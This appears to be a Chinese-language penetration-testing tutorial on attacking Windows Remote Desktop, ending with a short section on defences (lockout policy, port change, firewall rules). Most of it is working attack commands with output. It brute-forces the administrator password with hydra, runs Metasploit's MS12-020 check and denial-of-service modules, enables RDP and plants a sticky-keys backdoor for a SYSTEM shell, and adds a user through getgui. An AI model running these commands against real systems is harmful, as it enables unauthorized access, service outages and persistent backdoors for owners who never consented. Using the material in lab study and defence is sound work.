常用攻擊手段
確認端口開啟
常用爆破
hydra -v -f -l administrator -P /home/yang/Desktop/pass.txt rdp://192.168.3.142
DOS攻擊
檢測ms12-020漏洞存在
msf5 > use auxiliary/scanner/rdp/ms12_020_check
msf5 auxiliary(scanner/rdp/ms12_020_check) > set rhosts 192.168.3.142
rhosts => 192.168.3.142
msf5 auxiliary(scanner/rdp/ms12_020_check) > set rport 3389
rport => 3389
msf5 auxiliary(scanner/rdp/ms12_020_check) > run
[+] 192.168.3.142:3389 - 192.168.3.142:3389 - The target is vulnerable.
[*] 192.168.3.142:3389 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/rdp/ms12_020_check) >
攻擊模塊
msf5 auxiliary(scanner/rdp/ms12_020_check) > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf5 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > set rhosts 192.168.3.142
rhosts => 192.168.3.142
msf5 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > set rport 3389
rport => 3389
msf5 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > run
[*] Running module against 192.168.3.142
[*] 192.168.3.142:3389 - 192.168.3.142:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS
[*] 192.168.3.142:3389 - 192.168.3.142:3389 - 210 bytes sent
[*] 192.168.3.142:3389 - 192.168.3.142:3389 - Checking RDP status..
開啟RDP
獲得權限信息如下
通過msf模塊開啟3389
msf5 exploit(multi/handler) > use post/windows/manage/enable_rdp
msf5 post(windows/manage/enable_rdp) > set session 1
session => 1
msf5 post(windows/manage/enable_rdp) > run
如下模塊能夠將sticky key攻擊應用與具有合適權限的會話中，提供了一種在RDP登錄屏幕或者UAC確認對話框中使用UI級別交互獲取SYSTEM shell的方法
msf5 post(windows/manage/enable_rdp) > use post/windows/manage/sticky_keys
msf5 post(windows/manage/sticky_keys) > set session 1
session => 1
msf5 post(windows/manage/sticky_keys) > run
連接遠程桌面
rdesktop 192.168.3.142
五次shift后可獲得目標SYSTEM shell
開啟RDP另一種
直接在meterpreter會話下添加用戶並進行登錄
run getgui -e -u yangyangyang -p Aa123456
防御措施
添加鎖定策略
帳戶鎖定持續時間：鎖定用戶賬戶，當用戶登錄失敗超過閾值時。
帳戶鎖定閾值：失敗登錄次數，將在帳戶鎖定持續時間指定的某段時間內鎖定帳戶，也就是允許最多的失敗次數。
被鎖賬戶鎖定計數器：用於定義登錄嘗試失敗后必須經過的時間段的策略。重置時間必須小於或等於帳戶鎖定時間。
爆破賬戶后確認賬戶已被鎖定，無法登錄
修改端口
通過注冊表修改遠程桌面端口，地址如下，portnumber為端口
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
如下修改端口
如下確認端口已被修改
防火牆阻斷
進入遠程桌面的TCP-In配置
允許來自特定IP的訪問，在遠程IP內設定相關的IP即可
